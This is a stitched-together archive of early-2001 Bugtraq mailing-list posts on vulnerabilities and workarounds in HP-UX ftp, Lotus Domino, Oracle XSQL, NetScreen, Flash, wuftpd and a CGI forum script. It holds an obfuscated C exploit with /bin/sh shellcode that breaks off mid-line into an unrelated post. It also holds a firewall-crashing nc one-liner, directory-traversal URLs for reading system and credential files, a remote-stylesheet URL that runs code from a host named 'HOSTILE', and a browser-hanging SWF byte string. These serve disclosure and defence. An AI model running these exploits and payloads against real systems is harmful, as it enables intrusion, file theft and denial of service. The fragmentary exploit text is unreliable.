root's password, then calling it a vulnerability. Anyways, attached is the
code...
-HD
1. I made a post a while back referring to overflows in the compress program,
but that program is installed on most anonymous FTP sites, allowing remote
users to gain shell access by uploading a file whose name contains the shell
code, then requesting the name of that file plus ".Z". Since then, SuSE has
fixed their version, not sure about anyone else. The compress program is part
of the "ncompress" package of most linux installations.
On Monday 08 January 2001 03:55 pm, [ zorgon ] wrote:
> HP/UX FTP format string vulnerability
>
> A format string vulnerability exists in ftp. This vulnerability was
> discussed with HP labs.
>
> $ uname -a
> HP-UX hpotac8 B.11.00 A 9000/785 2004901631 licence pour deux utilisateurs
> $ ftp localhost
> Connected to localhost.
> 220 localhost FTP server (Version 1.1.214.6 Wed Feb 9 08:03:34 GMT 2000)
> ready. Name (localhost:zorgon):zorgon
> 331 Password required for zorgon.
> Password:
> 230 User zorgon logged in.
> Remote system type is UNIX.
> Using binary mode to transfer files.
> ftp> site exec %p %p %p %p
> 200-40008f10 0003 0002 0001
> 200 (end of '40008f10 0003 0002 0001')
> ftp> site exec %n %n %n %n
> Bus error(coredump)
> $
>
> And the 'SITE' command is also vulnerable
>
> ftp> site %p %p %p %p
> 500 'SITE 40008F0C 0002 0002 0001': command not understood.
> ftp> site %n %n %n %n
> Bus error(coredump)
> $ file core
> core: fichier de vidage de la memoire de'ftp' - recu SIGBUS
>
> The character format strings are not being parsed correctly in the ftp
> client. When HP labs fix the problem in the client, the result will be :
>
> ftp> site exec %n %n %n %n
> ---> SITE exec %n %n %n %n
> 200-%n %n %n %n
> 200 (end of '%n %n %n %n')
> ftp>
>
> So in this case the ftpd server will not process the character format
> strings. The fix will be made in the next release of the ftp client.
#include
#include
/* compile this with: gcc -o hpftp hpftp.c */
char fshell[] = /* da shell code */
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"
"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c"
"\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a"
"\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78"
"\x79\x7a\x38\x31\x32\x33\x34\x35\x36\x37\x38\x39\x41\x41"
"\x42\x42\x43\x43\x44\x44\x45\x45\x46\x46\x47\x47\x48\x48"
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x0a\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
"\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
"\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
"\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
"\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
"\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";
int main (int argc, char **argv)
{
int i;
int pof = 12;
int hof = 2;
int gof = 530;
char poof[300];
/* generate codes */
i = sprintf(poof, "site exec %s%c%c%c%c|\r\n", fshell, 0xb6, 0x78, 0xff, 0xb3);
i = ((i + pof) * hof);
/* messy but works */
poof[(i-gof)]=fshell[(i-gof)];
poof[(i-gof)+fshell[55]+fshell[196]]=fshell[(i-(gof-0x0D))];
poof[(i-gof)+fshell[168]/3]= fshell[(i-(gof-0x08))];
poof[(i-gof)+fshell[184]]=fshell[(i-(gof-0x0E))];
poof[(i-gof)+fshell[65]-fshell[60]]=fshell[(i-(gof-13))];
poof[(i-gof)+fshell[114]-0x58]=fshell[(i-(gof-0x0b))];
poof[(i-gof)+poof[(i-gof)+fshell[184]]]=fshell[(i-(gof-0x13))];
poof[(i-gof)+fshell[189]]=fshell[(i-(gof-0x08))];
poof[(i-gof)+(fshell[182]-fshell[175])]=fshell[(i-(gof-0x0D))];
poof[(i-gof)+fshell[168]]=fshell[(i-(gof-0x04))];
poof[(i-gof)+fshell[17]-fshell[83]]=fshell[(i-(
WORKAROUND: Lotus Domino 5.0.5 Web Server vulnerability
Well, as Lotus haven't released a fix for the *confirmed* bug, we get a workaround. Adding the following line: map */../* /something.nsf at httpd.conf, seems to handle the bug. You should notice that EVERYTHING using ../ links will stop working too, including the bug ! We tested this on NT4 sp6a and Domino 5.0.5, and we COULDN'T get the bug working after those lines were added. As we couldn't reproduce the bug on Linux Domino servers, and seems that nobody could, we don't think adding those lines on Linux httpd.conf servers is necessary. Sincerily, Leonardo Rodrigues Solution Web ( http://www.solutionweb.com.br )
Re: Hidden sniffer on unplumb'ed interface on Solaris
>I don't actually consider this to be a problem. This is how some network >IDSes are able to work (RealSecure for one) and can avoid all risk of IP >based attacks (since there's no ipaddr on the if). > >But, the interfaces are able to found, you just need to look for the MAC >address and not the IP. ;-) Checking the ARP tables of your switches and >routers should bring a rogue interface that doesn't have an ipaddr assigned >to it. > You won't find the MAC address anywhere; the interface is passive. It won't reply to ARP requests (no IP). Since it doesn't send any other packets, its MAC address can't be learned that way either. Casper
Re: Lotus Domino 5.0.5 Web Server vulnerability - who cannot reproduce, and others
- People who got error 404: If lotus is not on C: then You wont get the file (the path ../winnt/win.ini isnt valid) - Who got error 500: You might be tried IE, but the url wont work under IE - '.nsf' part of url is required! - The bug also confirmed on 5.0.3, 5.0.2 under nt4sp4, sp5 - Anybody tried the new 5.0.6? cly
bugtraq id 2173 Lotus Domino Server
Further information on this issue: 1) This issue has been reproduced on several versions of domino prior to 5.0.5 2) My testing has failed to reproduce this issue on Linux and OS/400 (AS/400) 3) To secure your boxes create 3 file protection documents for each server granting no access to the following paths. /.nsf/../ /.box/../ /.ns4/../ the other common domino extensions .ns3 and .ntf do not appear to be vulnerable. This is not a Lotus supported solution (as yet) so there may be additional similar paths with this behaviour. You should watch http://www.notes.net for an upgrade which will probably appear as 5.0.6a. Alan.
Re: analysis of auditable port scanning techniques
Dan Harkless wrote: > Well, there's a feature request for auth/ident/tap daemons running on OSes > (if any) that can distinguish after-the-fact between connections that > originated locally and those that originated remotely. Assuming that > doesn't break RFCs 931 / 1413, of course (I'd re-read them right now to > check, if I had the time)... Well, the simple fix would to deny queries for ports where there is a local service listening on the same interface/IP (or "ANY"). -- Henrik Nordstrom
Workaround: Lotus Domino Server Directory Traversal Vulnerability (2173)
Hi all, Today our Domino administrator (Robert Turnsek) and I spent some time trying to make the recent Domino vulnerability disappear. This is what we came up with. Domino Server 5.0.5 - Open the Administration Client - Select the server you want to administer - "Configuration" tab / "Server" section / Current server document : Press the "Web" button Select "Create URL mapping/redirection" - In the URL redirection document + "Basics" tab Select: URL ---> Redirection URL + "Mapping" tab Incoming URL: /.nsf/* Redirection URL: [the URL you want to redirect to, for example "http://www.notes.net"] - Save the document - Restart the HTTP task I hope this helps... --- Miha Vitorovic In¾enir v tehniènem podroèju Customer Support Engineer NIL Data Communications, Einspielerjeva 6, 1000 Ljubljana, Slovenia Phone +386 1 4746 500 Fax +386 1 4746 501 http://www.NIL.si
New DDoS?
I think I have stumbled across a new category of distributed denial of service (DDoS). (If this is old news, I'm sure I'll be corrected; it's new to me.) Traditional DDoS have the follow flow: - A host (or few hosts) controls a large number of clients. - The clients are directed by the host to attack a single site/server. The attack can either be network or service oriented. Alternate (New) DDoS model: - Server 'A' directly prevents all clients from accessing server 'B'. Here's an example of how it could work: I recently posted about a Flash plugin risk that can crash or hang a browser. Let's say that someone placed a corrupt Flash (SWF) file on a web server. All clients that access the web server and that view the Flash file (about 90% of all browsers can, so this is a good assumption) will have their browsers crash or hang. This is a DoS against the site, but it attacks the clients rather than the server. Now, let's take it one step further. Doubleclick, adtegrity.spinbox.net, and Akamai are linked by most large web sites. (Amazon, eBay, AltaVista, etc.) I have observed these sites returning banner ads written as jpeg, gif, and SWF. Let's say that one of the SWF files is corrupted. The single ad site can effectively deny all client access to the host site by crashing/hanging all client browsers. Server 'A' (the ad site) can directly prevent all clients from accessing server 'B' (the host web site). What's worse: This is more difficult to identify since local testing on the local server may not identify why the clients are crashing. The local server does not know what information was sent to the clients by the ad sites. In this example, I used ad sites and SWF files. It can be done with any third-party site (remember all the Web Bugs discussions?). Although SWF can do it today, I'm sure there will be more technologies that can do it tomorrow. Question: How can sites protect themselves from this? (I mean: Aside from the obvious, "don't link to ad sites.") Finally, I'm sure there are some script kiddies just dying to be "the first one to pull this off". Please don't. Accidents happen all by themselves and it's only a matter of time before this is seen in the wild and by accident. Why bother implementing something this trivial? Thoughts? -Neal
Oracle XSQL servlet and xml-stylesheet allow executing java on the web server
Georgi Guninski security advisory #34, 2001 Oracle XSQL servlet and xml-stylesheet allow executing java on the web server Systems affected: Oracle XSQL servlet, installed by default Oracle 8.1.7 Windows 2000installation, probably other versions/platforms are affected because the servlet is written in java Risk: High Date: 9 January 2001 Legal Notice: This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission. Disclaimer: The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Description: To get an idea for the XSQL servlet I suggest reading: http://technet.oracle.com/tech/xml/xsql_servlet/htdocs/relnotes.htm The XSQL servlet allows specifying external xslt stylesheets which may reside anywhere. The problem is it is possible to execute java on the web server in the xslt stylesheet. Executing java on the web server may lead to compromising it. Details: Oracle allows extensions to the built in xslt functions using the xmlns "http://www.oracle.com/XSL/Transform/java/". Using this namespace it is possible to instantiate java objects and execute their methods. Sample xslt stylesheets: --ora.xsl---string function, almost no effect--- http://www.w3.org/1999/XSL/Transform" xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.lang.String" version="1.0"> Written by http://www.guninski.com">Georgi Guninski Java demo. --ora2.xslcreates a file --- http://www.w3.org/1999/XSL/Transform" xmlns:jstr="http://www.oracle.com/XSL/Transform/java/java.io.File" version="1.0"> Written by http://www.guninski.com">Georgi Guninski File "c:\winnt\georgigjava" created= --- Assuming that http://XSQL-SERVER/EXISTING.xsql exists and is configured (there are installed .xsql demos in /xsql/java/demo/), the following URL: -- http://XSQL-SERVER/EXISTING.xsql?xml-stylesheet=http://HOSTILE/ora.xsl -- will execute java from http://HOSTILE/ora.xsl (see example stylesheets above) on XSQL-SERVER. This work on default Oracle 8.1.7 install, I only needed to adjust the database name in the servlet config file. Workaround: Add 'allow-client-style="no"' on the document element of every xsql page. I think this should be the default behavior. Vendor status: Oracle was contacted on 4 January 2001. They responded very promptly and shall issue a patch "over the next few days". Regards, Georgi Guninski http://www.guninski.com
Advisory #3 link error
We appear to have posted the incorrect link to our recent advisory on a webboard advisory also known as cgisecurity advisory #3 The correct link for the vendor patches and updates is at the following link posted below. Sorry for the inconvience. www.extropia.com/hacks/bbs_security.html It is also noted that this vendor was very quick to fix the problem. -zenomorph
Summary: Shockwave overflow
This message is a summary of the Flash plugin security risks and current status. Included are: 1. Macromedia's response to the security risk since the BugTraq posting on Dec. 29, 2000. 2. A detailed explanation of the read-overflow. 3. A detailed explanation of a CPU-resource-consumption defect. 4. My final(?) thoughts on this issue. == Macromedia's response Prior to the BugTraq posting, I spent 6 months trying to contact them so that they could handle this issue in their own way. Failing that, I posted to BugTraq. The response was startling. Macromedia initially contacted me via email on Wed, 3 Jan 2001 (less than 24 hours later). On Thursday evening we had a telephone conference to discuss the current status and next steps. The current status of the issues: - They apologized for the mishandling of the security issue. They said that there was a breakdown in the reporting process. - They have validated the read-buffer-overflow. This causes the browser to crash, but does not permit arbitrary code to be executed. - I spent the weekend attempting to duplicate what I thought was a write-buffer-overflow. (Permits arbitrary code to be executed.) Currently this has not been verified. We also discussed where they could look in their source code to ensure that a write-buffer overflow is not available. - We discussed providing a filter for the anti-virus companies. This would identify corrupt SWF files and block them from crashing the browsers. Macromedia said they would investigate this. - We discussed their timeframe for code correction, testing, and distribution. I'll let them announce the timeframe, but I found it very acceptable considering the nature of the issue. On Friday, Jan. 5, they called me and presented both their public statement and followup for BugTraq (www.securityfocus.com) for my review. (I had some minor issues with the wording, but I think we have come to an understanding.) I'm not sure when they will be releasing these. == The read-overflow The Flash file format (SWF) uses the form: tag length data tag length data Where "Tag" defines a task (define image, do action, etc.), "length" is the size of the data for the tag, and data contains tag-specific information. Many of the tags expect the data to contain a null-terminator "0". For example, strings or complex actions (the "0" means "no more actions for this tag"). In most cases, if the terminating "0" is missing, a read-overflow is created. The net effect: The Flash plugin crashes, and crashes the browser with it. We suspect that MS Outlook may also crash if the Flash animation runs in the preview pane, but this is only in theory and has not been tested. Impact: If a corrupt SWF file is placed on a web server, it can cause a buffer-overflow and crash all visiting browsers. This is a DoS. == The CPU-resource-consumption defect While trying to duplicate a write-overflow, I came across another SWF risk. The problem seems to be with tag 8 length 1 (action toggle quality, length should be zero). When tag 8 has a length of 1 (actual 1 byte of data is ignored), the browser hangs. Under Win98 on a Dell Latitude Cp (laptop): - CPU pegs at 100% - Netscape is unresponsive - If I kill the unresponsive Netscape, my laptop hangs after a suspend/restore and requires power cycling. (Normally, Win98 on my laptop is fairly stable.) Under MacOS 9 on an iMac: - My CPU load program stops running (appears to hang) - Netscape hangs. I cannot switch tasks (Command-. and other keyboard strokes are ignored). The system must be power cycled. - Only the mouse pointer moves, but it cannot click on anything. I have not tested this on other platforms (but I'm fairly certain it is there too). = Working example SWF code = 46 57 53 05 19 00 00 00 78 00 04 e2 00 00 0c e4 00 00 0a 03 00 01 02 00 00 = Impact: This is a worse DoS than the read-overflow because the browser does not die and all CPU cycles are consumed. MacOS requires power-cycling and Win98 should be rebooted (ok, no surprise for Win98...). == Neal's final thoughts I'd like to thank BugTraq. I had my concerns about posting in a public forum, but I am amazed by the support I have received. BugTraq works, I'm impressed. I have recieved a number of emails asked for my impressions and impact of this security risk. I believe the worst-case scenario is a new category of DDoS. I'll follow this up in a different posting. -Neal
Audiogalaxy.com mp3 sharing software
This was mentioned to Audiogalaxy several months ago, after a long converstation via email it was noted that a problem did exist and something *might* be done to fix it. Seems they have gone with our suggestion and fixed it. 1. What is Audiogalaxy.com? Audiogalaxy.com is a website devoted to mp3's that ofers a mp3 sharing program. (I use this over napster) 2. Problem? While this problem will not stop the world or allow the script kiddies to ./wu their way through us, its a problem none the less. Versions of Audiogalaxy Satelite software pre .601W for windows held the username and password for a users account in a plain text file within the audiogalaxy directory on their system. While if an intruder gained this information only the list of songs in the download que (which is stored on the server) would be compromised, this could have other effects. 2a. theory one 1. Gain the username and password for a users acct. Intruder modies the download que so that when the user comes online they will download a "mp3" from the intruders system. The mp3 is actually something else. ie. virus or back orifice or similar program. If the user ran the mp3 directly then of course the infection would start. --lets examine this a little further. Evil intruder steals password and username. Edits download que. User runs fake mp3 which is back orifice. User gets keylogged. User is goverment employee who telnets (telnet bad) into secure goverment system. Goverment system not secure anymore. Web site gets defaced. Oh no the kiddies can use this. 2b. theory two. 2. Many users use a common password and this is the point that i brought to Audiogalaxy. While its not their problem if a user does this, why not help out. If the user had their Audiogalaxy username and password compromised then its possible other things get compromised. 3. Solution Upgrade to the newest version which has been out for sometime, and in general use different passwords. Note- I have not checked the Linux version for any problems, if someone gets to it before I do pleae let me know. NudeHackersDotCom [EMAIL PROTECTED] Nudie News: sorry for the extreme down time, we are working hard to make a strong come back. As of today our servers are being moved so another minor down time will occur.
NSFOCUS SA2001-01: NetScreen Firewall WebUI Buffer Overflow vulnerability
NSFOCUS Security Advisory(SA2001-01) Topic: NetScreen Firewall WebUI Buffer Overflow vulnerability Release Date£º Jan 9th, 2001 CVE Candidate Numbers: CAN-2001-0007 Affected system: ScreenOS release 1.73r1 on the NetScreen-1000 ScreenOS release 2.01r6 on the NetScreen-10/100 ScreenOS release 2.10r3 on the NetScreen-5 ScreenOS release 2.5r1 on the NetScreen-5/10/100 Non-affected system£º ScreenOS release 1.73r2 on the NetScreen-1000 ScreenOS release 2.01r7 on the NetScreen-10/100 ScreenOS release 2.10r4 on the NetScreen-5 ScreenOS release 2.5r2 on the NetScreen-5/10/100 Impact: = NSFOCUS security team has found a buffer overflow vulnerability in NetScreen Firewall WebUI. Exploitation of this vulnerability, malicious user can launch remote DoS attack to crash the firewall. Description£º NetScreen Firewall is a popular commercial firewall. It has a Web administration interface (default listening at port 80) that allows firewall administrator to configure firewall with browser. However, it is lack of length check-up of input URL. Provided with a oversized URL request, a buffer overflow may take place that will crash the NetScreen firewall. In that case, all connections through firewall will be dropped, and the firewall won't response to any connection request. Rebooting the firewall is required to regain its functions. Attackers can launch attack without logining firewall. All current versions of ScreeOS, including 1.73r1, 2.0r6, 2.1r3 and 2.5r1 are affected by this vulnerability on occasion that WebUI has been enabled . Exploit: == Once the input URL is longer than 1220 bytes£¬NetScreen firewall will crash: $echo -e "GET /`perl -e 'print "A"x1220'` HTTP/1.0\n\n"|nc netscreen_firewall 80 Following information will appear on firewall console£º ** EXCEPTION ** Bus error execption (data reference: load or store) EPC = 0x8009AA1C, SR= 0x34501007, Cause = 0x0080001C Firewall halts now. Workaround: === Disable WebUI management or appoint trusted administration host before acquirement and installation of relevant patch. Vendor Status: == We have notified NetScreen of this vulnerability on 12/19/2000 . On 12/26/2000 NetScreen has issued following ScreenOS release versions to fix the bug: ScreenOS 1.73r2 on the NetScreen-1000 ScreenOS 2.10r4 on the NetScreen-5 ScreenOS 2.01r7 on the NetScreen-10/100 ScreenOS 2.5.0r2 on the NetScreen-5/10/100 Latest software are available at: http://www.netscreen.com/support/updates.html You can also contact NetScreen Technical Support Center (mailto:[EMAIL PROTECTED]) for upgraded software. Additional Information: The Common Vulnerabilities and Exposures (CVE) project has assigned the name CAN-2001-0007 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. Candidates may change significantly before they become official CVE entries. DISCLAIMS: == THE INFORMATION PROVIDED IS RELEASED BY NSFOCUS "AS IS" WITHOUT WARRANTY OF ANY KIND. NSFOCUS DISCLAIMS ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, EXCEPT FOR THE WARRANTIES OF MERCHANTABILITY. IN NO EVENTSHALL NSFOCUS BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF NSFOCUS HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. DISTRIBUTION OR REPRODUTION OF THE INFORMATION IS PROVIDED THAT THE ADVISORY IS NOT MODIFIED IN ANY WAY. ?Copyright 1999-2000 NSFOCUS. All Rights Reserved. Terms of use. NSFOCUS Security Team <[EMAIL PROTECTED]> NSFOCUS INFORMATION TECHNOLOGY CO.,LTD (http://www.nsfocus.com)
pidentd 3.0.12 port exclusion patch
Dear people running identd on machines they value the security of (oxymoron, eh?): This is an extension of the "Re: analysis of auditable port scanning techniques" thread. This is a patch for pidentd that gives it the options of not returning the owner of the process bound to a port. the following patch adds two options to pidentd. -x commandline or port:exclude option can be used to specifically return an "INVALID PORT" message command line: identd -x21,22,23,79,80 config file : port:exclude = "21,22,23,79,80" -X commandline or port:exclude_known option can be used to return an "INVALID PORT" message to all "known" services that can be found in /etc/services (getservbyport(3) call) command line: identd -X config file : port:exclude_known = on http://www.uberhax0r.net/~optyx/pidentd.exclusion_patch.tar.gz (14kB) -Optyx, Uberhax0r Communications http://www.uberhax0r.net - putting bullets in mullets since '97 pidentd.exclusion_patch.tar.gz
Re: wuftpd 2.6.1 -- example of bad coding
Hello,
I fail to understand why these vulnerabilities are NOT
exploitable, could you elaborate a bit on that?
-ivan
- Original Message -
From: "Przemyslaw Frasunek" <[EMAIL PROTECTED]>
Newsgroups: core.lists.bugtraq
To: <[EMAIL PROTECTED]>
Sent: Monday, January 08, 2001 4:12 PM
Subject: wuftpd 2.6.1 -- example of bad coding
> Hello,
>
> There are two non-exploitable format string bugs in wuftpd 2.6.1.
>
> ftpd.c:6272
>
> if (debug) {
> char *s = calloc(128 + strlen(remoteident), sizeof(char));
> if (s) {
> int i = ntohs(pasv_addr.sin_port);
> sprintf(s, "PASV port %i assigned to %s", i, remoteident);
> /* here */ syslog(LOG_DEBUG, s);
> free(s);
> }
> }
>
> ftpd.c:6288
>
> if (debug) {
> char *s = calloc(128 + strlen(remoteident), sizeof(char));
> if (s) {
> sprintf(s, "PASV port assignment assigned for %s",
remoteident);
> /* here */ syslog(LOG_DEBUG, s);
> free(s);
> }
> }
>
> Example:
>
> riget:venglin:~> tail -n1 /etc/hosts
> 212.182.115.2 riget%p%p%p%p%p%p%p%p%p%p.scene.pl riget
> riget:venglin:~> tail -n2 /var/log/debug
> Jan 8 14:28:03 riget ftpd[53990]: command: pasv^M
> Jan 8 14:28:03 riget ftpd[53990]: PASV port 17355 assigned to
riget0xbfbff1640x80536440x807c2000x8066c210x43cb0x80791000xe0x5c0x960x280850
00.scene.pl [212.182.115.2]
---
"Understanding. A cerebral secretion that enables one having it to know
a house from a horse by the roof on the house,
Its nature and laws have been exhaustively expounded by Locke,
who rode a house, and Kant, who lived in a horse." - Ambrose Bierce
==[ CORE Seguridad de la Informacion S.A. ]=
Iván Arce
Presidente
PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836 B25D 207B E78E 2AD1 F65A
email : [EMAIL PROTECTED]
http://www.core-sdi.com
Florida 141 2do cuerpo Piso 7
C1005AAG Buenos Aires, Argentina.
Tel/Fax : +(54-11) 4331-5402
=
--- For a personal reply use [EMAIL PROTECTED]
Cgisecurity.com Advisory #3.1
The staff at cgisecurity.com have found a security issue with a
forum script that is widley used.
Below is the advisory along with the vendor patch.
-zenomorph
[Cgi Security Advisory #3.1]
[EMAIL PROTECTED]
bbs_forum.cgi
Found
January 3rd 2001
Vendor Contacted
January 3rd 2001
Public Release
January 7th 2001
Script Effected: bbs_forum.cgi
Free
Versions Effected:
1.0
(Others unknown)
Platforms
UNIX
Vendor
http://www.extropia.com
Patch
http://www.extropia.com/hacks/bbs_security0.html
1. Impact
Any file can be read with the permissions of user nobody(or webserver).
Possible root comprimise in bbs_forum.cgi script. Command execution is
allowed and therefore shell spawning is possible. This has been tested on
unix and linux systems only and it is unknown if windows versions exist
and/or are effected.
One thing to be noted about this hole is that perl was in taint mode, and
still allowed files to be read, and commands to be executed. This was
not originally intended. This is proof that perl -t is not always
enough.
Example:
www.host.com/cgi-bin/bbs_forum.cgi?forum=&read=../bbs_forum.cgi
Will grab the scripts own sourcecode.
Note: In order for this hole to work a valid forum name must be used,
so simply trying to call read= only may not work.
2. Fixes
The vendor has been contacted about this serious security problem.
Please visit the vendor's website for patches and other important
information.
3. Attached Vendor Patch
Note: This is a patch for people who know what they are doing.
Please visit http://www.extropia.com/hacks/bbs_security0.html
for information on upgrading.
* Vendor patch snippet **
If you have made extensive modifications to bbs_forum.cgi and do not wish
to start over from scratch, search for the line at the start of
bbs_forum.cgi that says
&ReadParse;
And insert afterwards the following:
if ($in{'read'} && $in{'read'} !~ /^\d+-\d+\.msg$/i)
{
print "Invalid Message #";
die("Invalid Message # provided: " .
$in{'read'});
}
if ($in{'reply_to_message'} &&
$in{'reply_to_message'} !~ /^\d+-\d+\.msg$/i) {
print "Invalid Reply To Message #";
die("Invalid Reply To Message # provided: " .
$in{'reply_to_message'});
}
This code assures the script that the message file
form variables can only consist of the strict filename format of digits
followed by a hyphen followed by some digits followed by the literal
string ".msg".
We recommend updating your script as soon as possible.
Special thanks to cgisecurity.com for pointing our the issue.
End Patch **
Published to the Public January 2001
Copyright January 2001 Cgisecurity.com
security bulletins digest (fwd)
-- Forwarded message -- Date: Tue, 9 Jan 2001 03:53:04 -0800 (PST) From: IT Resource Center <[EMAIL PROTECTED]> To: [EMAIL PROTECTED] Subject: security bulletins digest HP Support Information Digests === o IT Resource Center World Wide Web Service --- If you subscribed through the IT Resource Center and would like to be REMOVED from this mailing list, access the IT Resource Center on the World Wide Web at: http://itrc.hp.com/ Login using your IT Resource Center User ID and Password. Then select Support Information Digests (located under Maintenance and Support). You may then unsubscribe from the appropriate digest. === Digest Name: daily security bulletins digest Created: Tue Jan 9 3:00:02 PST 2001 Table of Contents: Document ID Title --- --- HPSBUX0101-136 Sec. Vulnerability in inetd(1M) The documents are listed below. --- Document ID: HPSBUX0101-136 Date Loaded: 20010108 Title: Sec. Vulnerability in inetd(1M) HEWLETT-PACKARD COMPANY SECURITY BULLETIN: #00136, 09 Jan. '01 The information in the following Security Bulletin should be acted upon as soon as possible. Hewlett-Packard Company will not be liable for any consequences to any customer resulting from customer's failure to fully implement instructions in this Security Bulletin as soon as possible. PROBLEM: The inet server (inetd) on HP-UX can be hung by malicious users. PLATFORM: HP 9000 servers running HP-UX releases 10.20, 10.24, 11.00, and 11.04. DAMAGE: Possible Denial of Service (DoS). SOLUTION: Install the appropriate patch as noted below: PHNE_20747 for HP-UX release 10.20; or PHNE_21699 for VVOS release 10.24; or PHNE_21835 for HP-UX release 11.00; or PHNE_23068 for VVOS release 11.04. AVAILABILITY: The patches are available now. I. A. Background A server that uses the 'swait' state in the /etc/inetd.conf file can be made to interfere with one or more services started by inetd. This affects only installations where configuration alterations have been done to include 'swait' service entries. The standard configuration of the Internet Services product, InternetSrvcs, provided by Hewlett-Packard, including telnetd, ftpd, rlogind, etc., will not exhibit the behavior in question. B. Recommended solution The problem can be rectified by installing one of the following patches. PHNE_20747 for HP-UX release 10.20; or PHNE_21699 for VVOS release 10.24; or PHNE_21835 for HP-UX release 11.00; or PHNE_23068 for HP-UX release 11.04. C. To subscribe to automatically receive future NEW HP Security Bulletins from the HP IT Resource Center via electronic mail, do the following: Use your browser to get to the HP IT Resource Center page at: http://itrc.hp.com Under the Maintenance and Support Menu (Electronic Support Center): click on the "more..." link. Then - Use the 'Login' tab at the left side of the screen to login using your ID and password. Check with your system administrator to see if you have an existing login or use the "Register" button at the left to create a login. You will need to login in order to gain access to many areas of the ITRC. Remember to save the User ID assigned to you, and your password. Under the Maintenance and Support Menu, click on the "more..." link. Under the "Notifications" section (near the bottom of the page), select "Support Information Digests". To -subscribe- to future HP Security Bulletins or other Technical Digests, click the check box (in the left column) for the appropriate digest and then click the "Update Subscriptions" button at the bottom of the page. or To -review- bulletins already released, select the link (in the middle column) for the appropriate digest. To -gain access- to the Security Patch Matrix, select the link for "hp security bulletins archive" near the bottom. Once in the archive the top link is to our current Security Patch Matrix. Updated daily, this matrix categorizes security patches by platform/OS release, and by bulletin to
Re: Lotus Domino 5.0.5 Web Server vulnerability - reading files outside the web root
Regarding this vulnerability: The problem seems to exist with all versions of lotus 5.04 and up and even has been confirmed on 4.6.7 (the latest r4 release) In a standard windows installation situation the url mentioned by George Guninski will result in the contents of win.ini being displayed, or the file being downloadable. After some testing it becomes apparent that the vulnerability only exists on the drive where the domino program files reside. This means your system drive if you haven't changed the installer's defaults. If one has changed the defaults, an url like http://yourvictim/.nsf/../lotus/domino/notes.ini will still reveal sensitive information, be it that e.g. /winnt/repair/sam._ cannot be read anymore as these files are on your system drive. Forming urls like /.nsf/../../ directly on the root of the target's webserver will trigger domino's security rules unless you are trying to back out of a subdir (http://target.com/directory/.nsf/../../thefileyouwant) In a sensible environment you will change the installation defaults to where you have a separate system disk, a program disk and a data disk. In the event of a shared program / data disk, your notes server.id (which is not password protected) is still for grabs. So far this vulnerability has been confirmed on nt4 / win2000 / s390 / as400 / linux / solaris. (Not all have been tested by me). I have to agree with Thom Dyson when it comes to announcing this vulnerability 48 hours after it's discovery. regards, Hendrik-Jan Verheij http://redheat.org Hostmaster Popin Internet+31074 2555660 [EMAIL PROTECTED]http://www.popin.nl Assimilation is irrelevant, You are futile! - Original Message - From: "Ben Greenbaum" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]> Sent: Monday, January 08, 2001 5:17 PM Subject: Re: Lotus Domino 5.0.5 Web Server vulnerability - reading files outside the web root > Summary of responses: > > --- > From: [EMAIL PROTECTED] > > I just tested this on our Domino 5.0.5 boxes running on Windows NT 4.0 (service > pack 6a) and it did not work. Here is the error message I got: > > Error 0 > > Forbidden - URL containing .. forbidden [don't try to break in] > > --- > From: "Cristi Dumitrescu" <[EMAIL PROTECTED]> > > Tried on a Windows NT 4 machine with the same version of Domino and it does > not work. > Telnet session transcript: > GET .nsf/../winnt/win.ini HTTP/1.0 > > HTTP/1.1 404 Not found - file doesn't exist or is read protected [even tried > multi] > > > GET .nsf/../../winnt/win.ini HTTP/1.0 > > HTTP/1.1 500 Forbidden - URL containing .. forbidden [don't try to break in] > > --- > From: <[EMAIL PROTECTED]> > > A few quick followups > > 1/ this vulnerability is also confirmed on Domino 5.0 (original > release) > 2/ this vulnerability is also confirmed on NT4 > 3/ it appears that this vulnerability does NOT affect Domino 5.0.5 on > Linux > > --- > From: John Cardona <[EMAIL PROTECTED]> > > I test Lotus Dominio 5.0 Under NT4.0 Service Pack 6a and it has the same > vulnerability. > > --- > From: [EMAIL PROTECTED] > > Could not reproduce on Domino 5.0.5 nor 5.0.4 under Windows NT 4 (SP 5 or > 6a - don't know for sure). > > - > http://TARGETDOMINO/.nsf/../winnt/win.ini > - > > Gives a 404 error > > - > http://TARGETDOMINO/../winnt/win.ini > - > > Gives a 